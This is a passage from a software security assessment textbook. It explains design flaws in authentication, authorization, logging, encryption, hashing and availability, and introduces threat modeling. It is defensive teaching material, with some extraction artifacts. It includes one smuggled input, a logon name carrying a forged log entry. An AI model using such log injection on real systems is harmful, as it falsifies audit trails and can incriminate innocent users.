privileged port, an attacker can exploit the trust relationship between two machines. 

Insufficient Validation 

An authentication system can be close to sufficient for its environment but still 

contain a fundamental design flaw that leaves it exposed. This problem isn't likely to 

happen with the typical authentication design of requiring 

username/password/mom's maiden name, as it's easy to think through the 

consequences of design decisions in this type of system. 

You're more likely to see this kind of design flaw in programmatic authentication 

between two systems. If a program makes use of existing authentication mechanisms, 

such as certificates, design-level problems can arise. First, many distributed 

client/server applications authenticate in only one direction: by authenticating only 

the client or only the server. An attacker can often leverage this authentication 

scheme to masquerade as the unauthenticated peer and perform subtle attacks on 

the system. 

http://www.securityfocus.com/bid/2354/info
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Homemade authentication with cryptographic primitives is another issue you might 

encounter. From a conceptual standpoint, making your own authentication seems 

simple. If you have a shared secret, you give the peer a challenge. The peer then 

sends back a value that could be derived only from a combination of the challenge and 

shared secret. If you're using public and private keys, you send a challenge to a peer, 

encrypting it with the peer's public key, and anticipate a response that proves the 

peer was able to decrypt it. 

However, there's plenty of room for error when creating authentication protocols 

from scratch. Thomas Lopatic found an amusing vulnerability in the FWN/1 protocol 

of Firewall-1. Each peer sends a random number R1 and a hash of that random 

number with a shared key, Hash(R1+K). The receiving peer can look at the random 

number that was sent, calculate the hash, and compare it with the transmitted value. 

The problem is that you can simply replay the R1 and Hash(R1+K) values to the 

server because they're made using the same shared symmetric key. 

Authorization 

Authorization is the process of determining whether a user on the system is 

permitted to perform a specific operation within a trust domain. It works in concert 

with authentication as part of an access control policy: Authentication establishes 

who a user is, and authorization determines what that user is permitted to do. There 

are many formal designs for access control systems, including discretionary access 

control, mandatory access control, and role-based access control. In addition, several 

technologies are available for centralizing access control into various frameworks, 

operating systems, and libraries. Because of the complexity of different access 

control schemes, it's best to begin by looking at authorization from a general 

perspective. 

Common Vulnerabilities of Authorization 

Web applications are notorious for missing or insufficient authorization. Often, you 

find that only a small fraction of a Web site's functionality does proper authorization 

checks. In these sites, pages with authorization logic are typically main menu pages 

and major subpages, but the actual handler pages omit authorization checks. 

Frequently, it's possible to find a way to log in as a relatively low-privileged user, and 

then be able to access information and perform actions that don't belong to your 

account or are intended for higher-privileged users. 

Authorities That Aren't Secure 

Omitting authorization checks is obviously a problem. You can also run into situations 

in which the logic for authorization checks is inconsistent or leaves room for abuse. 

For example, say you have a simple expense-tracking system, and each user in the 

company has an account. The system is preprogrammed with the corporate tree so 
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that it knows which employees are managers and who they manage. The main logic 

is data driven and looks something like this: 

Enter New Expense 

for each employee you manage 

   View/Approve Expenses 

 

This system is fairly simple. Assuming that the initial corporate tree is populated 

correctly, managers can review and approve expenses of their subordinates. Normal 

employees see only the Enter New Expense menu entry because they aren't in the 

system as managing other employees. 

Now say that you constantly run into situations in which employees are officially 

managed by one person, but actually report to another manager for day-to-day 

issues. To address this problem, you make it possible for each user to designate 

another user as his or her "virtual" manager. A user's virtual manager is given view 

and approve rights to that user's expenses, just like the user's official manager. This 

solution might seem fine at first glance, but it's flawed. It creates a situation in which 

employees can assign any fellow employee as their virtual manager, including 

themselves. The resulting virtual manager could then approve expenses without any 

further restrictions. 

This simple system with an obvious problem might seem contrived, but it's derived 

from problems encountered in real-world applications. As the number of users and 

groups in an application grows and the complexity of the system grows, it becomes 

easy for designers to overlook the possibility of potential abuse in the authorization 

logic. 

Accountability 

Accountability refers to the expectation that a system can identify and log activities 

that users of the system perform. Nonrepudiation is a related term that's actually a 

subset of accountability. It refers to the guarantee that a system logs certain user 

actions so that users can't later deny having performed them. Accountability, along 

with authorization and authentication, establishes a complete access control policy. 

Unlike authentication and authorization, accountability doesn't specifically enforce a 

trust boundary or prevent a compromise from occurring. Instead, accountability 

provides data that can be essential in mitigating a successful compromise and 

performing forensic analysis. Unfortunately, accountability is one of the most 

overlooked portions of secure application design. 

Common Vulnerabilities of Accountability 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 53 

The most common accountability vulnerability is a system's failure to log operations 

on sensitive data. In fact, many applications provide no logging capability whatsoever. 

Of course, many applications don't handle sensitive data that requires logging. 

However, administrators or end usersnot developersshould determine whether 

logging is required. 

The next major concern for accountability is a system that doesn't adequately protect 

its log data. Of course, this concern might also be an authorization, confidentiality, or 

integrity issue. Regardless, any system maintaining a log needs to ensure the 

security of that log. For example, the following represents a simple text-based log, 

with each line including a timestamp followed by a log entry: 

20051018133106 Logon Failure: Bob 

20051018133720 Logon Success: Jim 

20051018135041 Logout: Jim 

 

What would happen if you included user-malleable strings in the log entry? What's to 

prevent a user from intentionally sending input that looks like a log entry? For 

instance, say a user supplied "Bob\n20051018133106 Logon Success: Greg" as a logon 

name. It looks like a harmless prank, but it could be used for malicious activity. 

Attackers could use fake entries to cover malicious activity or incriminate an innocent 

user. They might also be able to corrupt the log to the point that it becomes 

unreadable or unwriteable. This corruption could create a denial-of-service condition 

or open pathways to other vulnerabilities. It might even provide exploitable pathways 

in the logging system itself. 

Manipulating this log isn't the only problem. What happens when attackers can read 

it? At the very least, they would know at what times every user logged in and logged 

out. From this data, they could deduce login patterns or spot which users have a habit 

of forgetting their passwords. This information might seem harmless, but it can be 

useful in staging a larger attack. Therefore, unauthorized users shouldn't be able to 

read or modify the contents of a system log. 

Confidentiality 

Chapter 1(? [????.]) described confidentiality as the expectation that only authorized 

parties can view data. This requirement is typically addressed through access control 

mechanisms, which are covered by authentication and authorization. However, 

additional measures must be taken when communication is performed over a channel 

that's not secure. In these cases, encryption is often used to enforce confidentiality 

requirements. 

Encryption is the process of encoding information so that it can't be read by a third 

party without special knowledge, which includes the encryption process and usually 
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some form of key data. Key data is a piece of data known only to the parties who are 

authorized to access the information. 

The topic of validating cryptographic algorithms and processes is not covered in this 

book because the mathematics involved are extremely complex and encompass an 

entire field of study. However, the knowledge you need to identify certain 

vulnerabilities in implementing and applying cryptography is covered throughout this 

book, including memory management issues in cryptographic message handling and 

how to validate specification requirements against an implementation. 

Your biggest concern from a design perspective is in determining if a particular 

cryptographic protocol is applied correctly. The protocol must be strong enough for 

the data it's protecting and must be used in a secure manner. If you're interested in 

more information on the appropriate use of cryptography, you can read Practical 

Cryptography (Wiley, 2003(? [????.])) by Bruce Schneier and Niels Ferguson. If your 

interest lies in algorithms and implementation, consider Bruce Schneier's other book, 

Applied Cryptography (Wiley, 1996). 

Encryption Algorithms 

Encryption has a long history, dating all the way back to ancient cultures. However, 

because you're concerned with modern cryptographic protocols that can be used to 

protect data communications effectively, this chapter focuses on two major classes of 

encryption: symmetric and asymmetric. 

Symmetric encryption (or shared key encryption) refers to algorithms in which 

all authorized parties share the same key. Symmetric algorithms are generally the 

simplest and most efficient encryption algorithms. Their major weakness is that they 

require multiple parties to have access to the same shared secret. The alternative is 

to generate and exchange a unique key for each communication relationship, but this 

solution quickly results in an untenable key management situation. Further, 

asymmetric encryption has no means for verifying the sender of a message among 

any group of shared key users. 

Asymmetric encryption (or public key encryption) refers to algorithms in which 

each party has a different set of keys for accessing the same encrypted data. This is 

done by using a public and private key pair for each party. Any parties wanting to 

communicate must exchange their public keys in advance. The message is then 

encrypted by combining the recipient's public key and the sender's private key. The 

resulting encrypted message can be decrypted only by using the recipient's private 

key. 

In this manner, asymmetric encryption simplifies key management, doesn't require 

exposing private keys, and implicitly verifies the sender of a message. However, 

these algorithms are more complex and tend to be computationally intensive. 
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Therefore, asymmetric algorithms are typically used to exchange a symmetric key 

that's then used for the duration of a communication session. 

Block Ciphers 

Block ciphers are symmetric encryption algorithms that work on fixed-size blocks of 

data and operate in a number of modes. You should be aware of some considerations 

for their use, however. One consideration is whether the block cipher encrypts each 

block independently or uses output from the previous block in encrypting the current 

block. Ciphers that encrypt blocks independently are far more vulnerable to 

cryptanalytic attacks and should be avoided whenever possible. Therefore, a cipher 

block chaining (CBC) mode cipher is the only appropriate fixed-block cipher in 

general use. It performs an XOR operation with the previous block of data, resulting 

in negligible performance overhead and much higher security than modes that handle 

blocks independently. 

Stream Ciphers 

One of the most inconvenient aspects of block ciphers is that they must handle 

fixed-size chunks of data. Any data chunks larger than the block size must be 

fragmented, and anything smaller must be padded. This requirement can add 

complexity and overhead to code that handles something like a standard TCP socket. 

Fortunately, block ciphers can run in modes that allow them to operate on arbitrarily 

sized chunks of data. In this mode, the block cipher performs as a stream cipher. 

The counter (CTR) mode cipher is the best choice for a stream cipher. Its 

performance characteristics are comparable to CBC mode, but it doesn't require 

padding or fragmentation. 

Initialization Vectors 

An initialization vector (IV) is a "dummy" block of data used to start a block cipher. 

An IV is necessary to force the cipher to produce a unique stream of output, 

regardless of identical input. The IV doesn't need to be kept private, although it must 

be different for every new cipher initialization with the same key. Reusing an IV 

causes information leakage with a CBC cipher in only a limited number of scenarios; 

however, it severely degrades the security of other block ciphers. As a general rule, IV 

reuse should be considered a security vulnerability. 

Key Exchange Algorithms 

Key exchange protocols can get complicated, so this section just provides some 

simple points to keep in mind. First, the implementation should use a standard key 

exchange protocol, such as RSA, Diffie-Hellman, or El Gamal. These algorithms have 

been extensively validated and provide the best degree of assurance. 
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The next concern is that the key exchange is performed in a secure manner, which 

means both sides of the communication must provide some means of identification to 

prevent man-in-the-middle attacks. All the key exchange algorithms mentioned 

previously provide associated signature algorithms that can be used to validate both 

sides of the connection. These algorithms require that both parties have already 

exchanged public keys or that they are available through some trusted source, such 

as a Public Key Infrastructure (PKI) server. 

Common Vulnerabilities of Encryption 

Now that you have some background on the proper use of encryption, it's important 

to understand what can go wrong. Homemade encryption is one of the primary 

causes of confidentiality-related vulnerabilities. Encryption is extremely complicated 

and requires extensive knowledge and testing to design and implement properly. 

Therefore, most developers should restrict themselves to known algorithms, 

protocols, and implementations that have undergone extensive review and testing. 

Storing Sensitive Data Unnecessarily 

Often a design maintains sensitive data without any real cause, typically because of a 

misunderstanding of the system requirements. For instance, validating a password 

doesn't require storing the password in a retrievable form. You can safely store a hash 

of the password and use it for comparison. If it's done correctly, this method prevents 

the real password from being exposed. (Don't worry if you aren't familiar with hashes; 

they are introduced in "Hash Functions" later in this chapter.) 

Clear-text passwords are one of the most typical cases of storing data unnecessarily, 

but they are far from the only example of this problem. Some application designs fail 

to classify sensitive information properly or just store it for no understandable reason. 

The real issue is that any design needs to classify the sensitivity of its data correctly 

and store sensitive data only when absolutely required. 

Lack of Necessary Encryption 

Generally, a system doesn't provide adequate confidentiality if it's designed to 

transfer clear-text information across publicly accessible storage, networks, or 

unprotected shared memory segments. For example, using TELNET to exchange 

sensitive information would almost certainly be a confidentiality-related design 

vulnerability because TELNET does not encrypt its communication channel. 

In general, any communication with the possibility of containing sensitive information 

should be encrypted when it travels over potentially compromised or public networks. 

When appropriate, sensitive information should be encrypted as it's stored in a 

database or on disk. Encryption requires a key management solution of some sort, 

which can often be tied to a user-supplied secret, such as a password. In some 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 57 

situations, especially when storing passwords, hashed values of sensitive data can be 

stored in place of the actual sensitive data. 

Insufficient or Obsolete Encryption 

It's certainly possible to use encryption that by design isn't strong enough to provide 

the required level of data security. For example, 56-bit single Digital Encryption 

Standard (DES) encryption is probably a bad choice in the current era of inexpensive 

multigigahertz computers. Keep in mind that attackers can record encrypted data, 

and if the data is valuable enough, they can wait it out while computing power 

advances. Eventually, they will be able to pick up a 128 q-bit quantum computer at 

Radio Shack, and your data will be theirs (assuming that scientists cure the aging 

problem by 2030, and everyone lives forever). 

Jokes aside, it's important to remember that encryption implementations do age over 

time. Computers get faster, and mathematicians find devious new holes in algorithms 

just as code auditors do in software. Always take note of algorithms and key sizes that 

are inadequate for the data they protect. Of course, this concern is a moving target, 

so the best you can do is keep abreast of the current recommended standards. 

Organizations such as the National Institute for Standards and Technology (NIST; 

www.nist.gov) do a good job of publishing generally accepted criteria for algorithms 

and key sizes. 

Data Obfuscation Versus Data Encryption 

Some applicationsand even industry-wide security standardsdon't seem to 

differentiate between data obfuscation and data encryption. Put simply, data is 

obfuscated when attackers have access to all the information they need to recover 

encoded sensitive data. This situation typically occurs when the method of encoding 

data doesn't incorporate a unique key, or the key is stored in the same trust domain 

as the data. Two common examples of encoding methods that don't incorporate a 

unique key are ROT13 text encoding and simple XOR mechanisms. 

The problem of keys stored in the same context as data is a bit more confusing but not 

necessarily less common. For example, many payment-processing applications store 

sensitive account holder information encrypted in their databases, but all the 

processing applications need the keys. This requirement means that stealing the 

backup media might not give attackers the account data, but compromising any 

payment server can get them the key along with the encrypted data. Of course, you 

could add another key to protect the first key, but all the processing applications 

would still require access. You could layer as many keys as you like, but in the end, it's 

just an obfuscation technique because each processing application needs to decrypt 

the sensitive data. 

Note 

http://www.nist.gov/
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The PCI (Payment Card Industry) 1.0 Data Security Requirement is part of an 

industry-wide standard to help ensure safe handling of payment card data and 

transactions. These requirements are a forward-thinking move for the industry, and 

many of them are consistent with best security practices. However, the standard 

contains requirements that create exactly the confidentiality issue described in this 

chapter. In particular, the requirements allow storing encrypted data and the key in 

the same context, as long as the key is encrypted by another key residing in the same 

context. 

 

One final point is that security by obscurity (or obfuscation) has earned a bad 

reputation in the past several years. On its own, it's an insufficient technique for 

protecting data from attackers; it simply doesn't provide a strong enough level of 

confidentiality. However, in practice, obfuscation can be a valuable component of any 

security policy because it deters casual snoopers and can often slow down dedicated 

attackers. 

Integrity 

Chapter 1(? [????.]) defined integrity as the expectation that only authorized parties 

are able to modify data. This requirement, like confidentiality, is typically addressed 

through access control mechanisms. However, additional measures must be taken 

when communication is performed over a channel that's not secure. In these cases, 

certain cryptographic methods, discussed in the following sections, are used to 

ensure data integrity. 

Hash Functions 

Cryptographic data integrity is enforced through a variety of methods, although hash 

functions are the basis of most approaches. A hash function (or "message digest 

function") accepts a variable-length input and generates a fixed-size output. The 

effectiveness of a hash function is measured primarily by three requirements. The 

first is that it must not be reversible, meaning that determining the input based only 

on the output should be computationally infeasible. This requirement is known as the 

"no pre-image" requirement. The second requirement is that the function not have a 

second pre-image, which means that given the input and the output, generating an 

input with the same output is computationally infeasible. The final requirement, and 

the strongest, is that a hash must be relatively collision free, meaning that 

intentionally generating the same output for differing inputs should be 

computationally infeasible. 

Hash functions provide the foundation of most programmatic integrity protection. 

They can be used to associate an arbitrary set of data with a unique, fixed-size value. 

This association can be used to avoid retaining sensitive data and to vastly reduce the 
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storage required to validate a piece of data. The simplest forms of hash functions are 

cyclic redundancy check (CRC) routines. They are fast and efficient and offer a 

moderate degree of protection against unintentional data modification. However, 

CRC functions aren't effective against intentional modification, which makes them 

unusable for security purposes. Some popular CRC functions include CRC-16, CRC-32, 

and Adler-32. 

The next step up from CRC functions are cryptographic hash functions. They are 

far more computationally intensive, but they offer a high degree of protection against 

intentional and unintentional modification. Popular hash functions include SHA-1, 

SHA-256, and MD5. (Issues with MD5 are discussed in more detail in 

"Bait-and-Switch Attacks" later in this chapter.) 

Salt Values 

Salt values are much the same as initialization vectors. The "salt" is a random value 

added to a message so that two messages don't generate the same hash value. As 

with an IV, a salt value must not be duplicated between messages. A salt value must 

be stored in addition to the hash so that the digest can be reconstructed correctly for 

comparison. However, unlike an IV, a salt value should be protected in most 

circumstances. 

Salt values are most commonly used to prevent precomputation-based attacks 

against message digests. Most password storage methods use a salted hash value to 

protect against this problem. In a precomputation attack, attackers build a dictionary 

of all possible digest values so that they can determine the original data value. This 

method works only for fairly small ranges of input values, such as passwords; 

however, it can be extremely effective. 

Consider a salt value of 32 random bits applied to an arbitrary password. This salt 

value increases the size of a password precomputation dictionary by four billion times 

its original value (232). The resulting precomputation dictionary would likely be too 

large for even a small subset of passwords. Rainbow tables, developed by Philippe 

Oechslin, are a real-world example of how a lack of a salt value leaves password 

hashes vulnerable to pre-computation attacks. Rainbow tables can be used to crack 

most password hashes in seconds, but the technique works only if the hash does not 

include a salt value. You can find more information on rainbow tables at the Project 

RainbowCrack website: http://www.antsight.com/zsl/rainbowcrack/. 

Originator Validation 

Hash functions provide a method of validating message content, but they can't 

validate the message source. Validating the source of a message requires 

incorporating some form of private key into the hash operation; this type of function 

is known as a hash-based message authentication code (HMAC) function. A 

http://www.antsight.com/zsl/rainbowcrack/
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MAC is a function that returns a fixed-length value computed from a key and 

variable-length message. 

An HMAC is a relatively fast method of validating a message's content and sender by 

using a shared secret. Unfortunately, an HMAC has the same weakness as any shared 

key system: An attacker can impersonate any party in a conversation by 

compromising only one party's key. 

Cryptographic Signatures 

A cryptographic signature is a method of associating a message digest with a 

specific public key by encrypting the message digest with the sender's public and 

private key. Any recipient can then decrypt the message digest by using the sender's 

public key and compare the resulting value against the computed message digest. 

This comparison proves that the originator of the message must have had access to 

the private key. 

Common Vulnerabilities of Integrity 

Integrity vulnerabilities are similar to confidentiality vulnerabilities. Most integrity 

vulnerabilities can, in fact, be prevented by addressing confidentiality concerns. 

However, some integrity-related design vulnerabilities, discussed in the following 

sections, merit special consideration. 

Bait-and-Switch Attacks 

Commonly used hashing functions must undergo a lot of public scrutiny. However, 

over time, weaknesses tend to appear that could result in exploitable vulnerabilities. 

The bait-and-switch attack is typically one of the first weaknesses found in an 

aging hash function. This attack takes advantage of a weak hash function's tendency 

to generate collisions over certain ranges of input. By doing this, an attacker can 

create two inputs that generate the same value. 

For example, say you have a banking application that accepts requests to transfer 

funds. The application receives the request, and if the funds are available, it signs the 

transfer and passes it on. If the hashing function is vulnerable, attackers could 

generate two fund transfers that produce the same digest. The first request would 

have a small value, and the second would be much larger. Attackers could then open 

an account with a minimum balance and get the smaller transfer approved. Then they 

would submit the larger request to the next system and close out their accounts 

before anyone was the wiser. 

Bait-and-switch attacks have been a popular topic lately because SHA-1 and MD5 are 

starting to show some wear. The potential for collision vulnerabilities in MD5 was 

identified as early as 1996, but it wasn't until August 2004 that Xiaoyun Wang, 
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Dengguo Feng, Xuejia Lai, and Hongbo Yu published a paper describing successful 

collisions with the MD5 algorithm. This paper was followed up in March 2005 by Arjen 

Lenstra, Xiaoyun Wang, and Benne de Weger. They successfully generated a colliding 

pair of X.509 certificates with different public keys, which is the certificate format 

used in SSL transactions. More recently, Vlastimil Klima published an algorithm in 

March 2006 that's capable of finding MD5 collisions in an extremely short time. 

The SHA family of algorithms is also under close scrutiny. A number of potential 

attacks against SHA-0 have been identified; however, SHA-0 was quickly superseded 

by SHA-1 and never saw significant deployment. The SHA-0 attack research has 

provided the foundation for identifying vulnerabilities in the SHA-1 algorithm, 

although at the time of this writing, no party has successfully generated a SHA-1 

collision. However, these issues have caused several major standards bodies (such as 

the U.S.-based NIST) to initiate phasing out SHA-1 in favor of SHA-256 (also known 

as SHA-2). 

Of course, finding random collisions is much harder than finding collisions that are 

viable for a bait-and-switch attack. However, by their nature, cryptographic 

algorithms should be chosen with the intention that their security will be viable far 

beyond the applicable system's life span. This reasoning explains the shift in recent 

years from hashing algorithms that had previously been accepted as relatively secure. 

The impact of this shift can even be seen in password-hashing applications, which 

aren't directly susceptible to collision-based attacks, but are also being upgraded to 

stronger hash functions. 

Availability 

Chapter 1(? [????.]) defined availability as the capability to use a resource when 

expected. This expectation of availability is most often associated with reliability, and 

not security. However, there are a range of situations in which the availability of a 

system should be viewed as a security requirement. 

Common Vulnerabilities of Availability 

There is only one type of general vulnerability associated with a failure of 

availabilitythe denial-of-service (DoS) vulnerability. A DoS vulnerability occurs when 

an attacker can make a system unavailable by performing some unanticipated action. 

The impact of a DoS attack can be very dependant on the situation in which it occurs. 

A critical system may include an expectation of constant availability, and outages 

would represent an unacceptable business risk. This is often the case with core 

business systems such as centralized authentication systems or flagship websites. In 

both of these cases, a successful DoS attack could correspond directly to a significant 

loss of revenue due to the business's inability to function properly without the system. 
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A lack of availability also represents a security risk when an outage forces 

requirements to be addressed in a less secure manner. For example, consider a 

point-of-sale (PoS) system that processes all credit card transactions via a central 

reconciliation server. When the reconciliation server is unavailable, the PoS system 

must spool all of the transactions locally and perform them at a later time. An attacker 

may have a variety of reasons for inducing a DoS between a PoS system and the 

reconciliation server. The DoS condition may allow an attacker to make purchases 

with stolen or invalid credit cards, or it may expose spooled cardholder information on 

a less secure PoS system. 

 

6.2.4 Threat Modeling 

By now, you should have a good idea of how design affects the security of a software 

system. A system has defined functionality that's provided to its users but is bound by 

the security policy and trust model. The next step is to turn your attention to 

developing a process for applying this knowledge to an application you've been 

tasked to review. Ideally, you need to be able to identify flaws in the design of a 

system and prioritize the implementation review based on the most security-critical 

modules. Fortunately, a formalized methodology called threat modeling exists for 

just this purpose. 

In this chapter, you use a specific type of threat modeling that consists of a five-phase 

process: 

 Information collection 

 Application architecture modeling 

 Threat identification 

 Documentation of findings 

 Prioritizing the implementation review 

This process is most effectively applied during the design (or a refactoring) phase of 

development and is updated as modifications are made in later development phases. 

It can, however, be integrated entirely at later phases of the SDLC. It can also be 

applied after development to evaluate an application's potential exposure. The phase 

you choose depends on your own requirements, but keep in mind that the design 

review is just a component of a complete application review. So make sure you 

account for the requirements of performing the implementation and operational 

review of the final system. 

This approach to threat modeling should help establish a framework for relating many 

of the concepts you've already learned. This process can also serve as a roadmap for 

applying many concepts in the remainder of this book. However, you should maintain 

a willingness to adapt your approach and alter these techniques as required to suit 

31051536.html
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different situations. Keep in mind that processes and methodologies can make good 

servants but are poor masters. 

Note 

This threat-modeling process was originally introduced in Writing Secure Code, 2nd 

Edition (Microsoft Press, 2002(? [????.])) by Michael Howard and David Le Blanc. It 

was later expanded and refined in Threat Modeling (Microsoft Press, 2004(? [????.])) 

by Frank Swiderski and Window Snyder. 

 

 

Information Collection 

The first step in building a threat model is to compile all the information you can about 

the application. You shouldn't put too much effort into isolating security-related 

information yet because at this phase you aren't certain what's relevant to security. 

Instead, you want to develop an understanding of the application and get as much 

information as possible for the eventual implementation review. These are the key 

areas you need to identify by the end of this phase: 

 Assets Assets include anything in the system that might have value to 

attackers. They could be data contained in the application or an attached 

database, such as a database table of user accounts and passwords. An asset 

can also be access to some component of the application, such as the 

capability to run arbitrary code on a target system. 

 Entry points Entry points include any path through which an attacker can 

access the system. They include any functionality exposed via means such as 

listening ports, Remote Procedure Call (RPC) endpoints, submitted files, or 

any client-initiated activity. 

 External entities External entities communicate with the system via its entry 

points. These entities include all user classes and external systems that 

interact with the application. 

 External trust levels External trust levels refer to the privileges granted to an 

external entity, as discussed in "Trust Relationships" earlier in this chapter. A 

complex system might have several levels of external trust associated with 

different entities, whereas a simple application might have nothing more than 

a concept of local and remote access. 

 Major components Major components define the structure of an application 

design. Components can be internal to the application, or they might 

represent external module dependencies. The threat-modeling process 

involves decomposing these components to isolate their security-relevant 

considerations. 

 Use scenarios Use scenarios cover all potential applications of the system. 

They include a list of both authorized and unauthorized scenarios. 
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Developer Interviews 

In many situations, you can save yourself a lot of time by going straight to the horse's 

mouth, as it were. So if you have access to the developers, be sure to use this access 

to your advantage. Of course, this option might not be available. For instance, an 

independent vulnerability researcher rarely has access to the application's 

developers. 

When you approach a system's developers, you should keep a few points in mind. 

First, you're in a position to criticize work they have put a lot of time and effort into. 

Make it clear that your goal is to help improve the security of their application, and 

avoid any judgmental or condescending overtones in your approach. After you have 

a decent dialogue going, you still need to verify any information you get against the 

application's implementation. After all, the developers might have their own 

misconceptions that could be a contributing factor to some vulnerabilities. 

Developer Documentation 

A well-documented application can make the review process faster and more 

thorough; however, there's one major catch to this convenience. You should always 

be cautious of any design documentation for an existing implementation. The reason 

for this caution isn't usually deceitful or incompetent developers; it's just that too 

many things change during the implementation process for the result to ever match 

the specifications perfectly. 

A number of factors contribute to these inconsistencies between specifications and 

the implementation. Extremely large applications can often drift drastically from their 

specifications because of developer turnover and minor oversights compounded over 

time. Implementations can also differ simply because two people rarely have exactly 

the same interpretation of a specification. The bottom line is that you should expect 

to validate everything you determine from the design against the actual 

implementation. 

Keeping this caveat in mind, you still need to know how to wring everything you can 

out of the documentation you get. Generally, you want anything you can get your 

hands on, including design (diagrams, protocol specifications, API documentation, 

and so on), deployment (installation guides, release notes, supplemental 

configuration information, and so forth), and end-user documentation. In binary (and 

some source code) reviews, end-user documentation is all you can get, but don't 

underestimate its value. This documentation is "customer-facing" literature, so it 

tends to be fairly accurate and can offer a process-focused view that makes the 

system easier to understand. 

Standards Documentation 
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If you're asked to examine an application that uses standardized network protocols or 

file formats, a good understanding of how those protocols and file formats are 

structured is necessary to know how the application should function and what 

deficiencies might exist. Therefore, acquiring any published standards and related 

documentation created by researchers and authors is a good idea. Typically, 

Internet-related standards documents are available as requests for comments (RFCs, 

available at www.ietf.org/rfc/). Open-source implementations of the same standards 

can be particularly useful in clarifying ambiguities you might encounter when 

researching the technology a target application uses. 

Source Profiling 

Access to source code can be extremely helpful when you're trying to gather 

information on an application. You don't want to go too deep at this phase, but having 

the source code can speed up a lot of the initial modeling process. Source code can be 

used to initially verify documentation, and you can determine the application's 

general structure from class and module hierarchies in the code. When the source 

does not appear to be laid out hierarchically, you can look at the application startup to 

identify how major components are differentiated at initialization. You can also 

identify entry points by skimming the code to find common functions and objects, 

such as listen() or ADODB. 

System Profiling 

System profiling requires access to a functional installation of the application, which 

gives you an opportunity to validate the documentation review and identify elements 

the documentation missed. Threat models performed strictly from documentation 

need to skip this step and validate the model entirely during the implementation 

review. 

You can use a variety of methods for profiling an application. Here are a few common 

techniques: 

 File system layout Look at the application's file system layout and make notes 

of any important information. This information includes identifying the 

permission structure, listing all executable modules, and identifying any 

relevant data files. 

 Code reuse Look for any application components that might have come from 

another library or package, such as embedded Web servers or encryption 

libraries. These components could present their own unique attack surface 

and require further review. 

 Imports and exports List the function import and export tables for every 

module. Look closely for any libraries used for establishing or managing 

external connections or RPC interfaces. 

http://www.ietf.org/rfc/
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 Sandboxing Run the application in a sandbox so that you can identify every 

object it touches and every activity it performs. Use a sniffer and application 

proxies to record any network traffic and isolate communication. In Windows 

environments, the Filemon, Regmon, WinObj, and Process Explorer utilities 

(from www.sysinternals.com) are helpful for this activity. 

 Scanning Probe the application on any listening ports, RPC interfaces, or 

similar external interfaces. Try grabbing banners to validate the protocols in 

use and identify any authentication requirements. For HTTP applications, try 

spidering links and identifying as many unique entry points as possible. 

Application Architecture Modeling 

After you have some background information, you need to begin examining the 

application architecture. This phase involves familiarizing yourself with how the 

software is structured and what components can affect its overall security. These 

steps help identify design concerns and let you know where to focus your energies 

during the implementation review. You build this knowledge by reviewing existing 

documentation of the application model and developing new models as required. 

Every piece of software is modeled to some extent during its development; the only 

difference is whether the models are ever formally recorded. So you need to 

understand the types of modeling in common use and how you can develop your own. 

Unified Markup Language 

Unified Markup Language (UML) is a specification developed by the Object 

Management Group (OMG; www.omg.org/uml/) to describe many different aspects 

of how an application operates from a fairly high level. It includes diagrams to 

describe information flow, interaction between components, different states the 

application can be in, and more. Of particular interest in this phase are class diagrams, 

component diagrams, and use cases. The following list briefly describes these types 

of diagrams so that you get a feel for what they're trying to convey. If you're 

unfamiliar with UML, picking up one of the myriad books available on the subject is 

strongly recommended. Because of UML's complexity, explaining it in depth is far 

beyond the scope of this chapter. 

Note 

UML has gone through several revisions. The currently accepted standard is UML 2.0. 

 

 Class diagrams A class diagram is a UML diagram for modeling an 

object-oriented (OO) solution. Each object class is represented by a rectangle 

that includes the methods and attributes in the class. Relationships between 

objects are then represented by lines between classes. Lines with arrows on 

http://www.sysinternals.com/
http://www.omg.org/uml/
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one end define parents in an inheritance hierarchy; unadorned lines (no 

arrows) with numbers near the ends indicate a cardinality relationship. 

Class diagrams can be helpful when you're trying to understand relationships 

in a complex module. They essentially spell out how an application is modeled 

and how classes interact with each other. Realistically, however, you won't 

encounter them all that often unless you're performing in-house code reviews. 

By analyzing an OO solution, you can roughly construct class diagrams. 

Although doing so might seem like a waste of time, they can be useful when 

you need to come back and review the same software later or when you 

perform an initial high-level review and then hand off various code-auditing 

tasks to other members of a team. 

 Component diagrams Component diagrams divide a solution into its 

constituent components, with connectors indicating how they interact with 

each other. A component is defined as an opaque subsystem that provides an 

independent function for a solution. Examples of a component include a 

database, a parser of some description, an ordering system, and so forth. A 

component diagram offers a less complex view of a system than class 

diagrams do because components generally represent a complete 

self-contained subsystem, often implemented by many classes and modules. 

A component diagram exposes interfaces (denoted by protruding circles) and 

uses interfaces of other components (denoted by an empty semicircle). 

Components are tied together through these interface exposures or by means 

of association lines, which indicate that two components are inherently 

interrelated and don't rely on exposed interfaces. Component diagrams also 

allow two components to be joined together by realization. A realization 

simply means that the functionality required by one component is a subset of 

the functionality exposed by an interface of another component. Realization is 

represented by a dotted line. 

In an assessment, a component diagram can be valuable for defining the 

high-level view of a system and its intercomponent relationships. It can be 

especially useful when you're trying to develop the initial context of a threat 

model because it eliminates much of a system's complexity and allows you to 

focus on the big picture. 

 Use cases A use case is possibly the most nebulous component of the UML 

standard. There are no strict requirements for what a use case should look like 

or include. It can be represented with text or graphics, and developers choose 

which they prefer. Fundamentally, a use case is intended to describe how an 

application should be used, so a good set of use cases can come in handy. 

After all, when you know what an application should be doing, addressing 
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what it shouldn't be doing is easier. When reviewing use cases, keep an eye 

out for any developer assumptions about the system's behavior. 

Data Flow Diagrams 

A number of diagramming tools can aid in understanding a system, but the data flow 

diagram (DFD) is one of the most effective for security purposes. These diagrams 

are used to map how data moves through a system and identify any affected 

elements. If done properly, the DFD modeling process accounts not only for the 

application functionality exposed directly to external sources, but also the 

functionality that's exposed indirectly. This modeling process also accounts for 

mitigating factors in a system's design, such as additional security measures 

enforcing trust boundaries. Figure 2-2 shows the five main elements of a DFD, which 

are summarized in the following list: 

Figure 2-2. DFD elements 

[View full size image] 

 

 

 Processes Processes are opaque logic components with well-defined input 

and output requirements. They are represented with a circle, and groups of 

related processes are represented by a circle with a double border. Multiple 

process groups can be further decomposed in additional DFDs for each single 

process. Although processes aren't typically assets, they can be in some 

contexts. 

 Data stores Data stores are information resources the system uses, such as 

files and databases. They are represented by open-ended rectangular boxes. 

Usually, anything represented in this way in a DFD is considered a system 

asset. 

 External entities These elements, described previously in "Information 

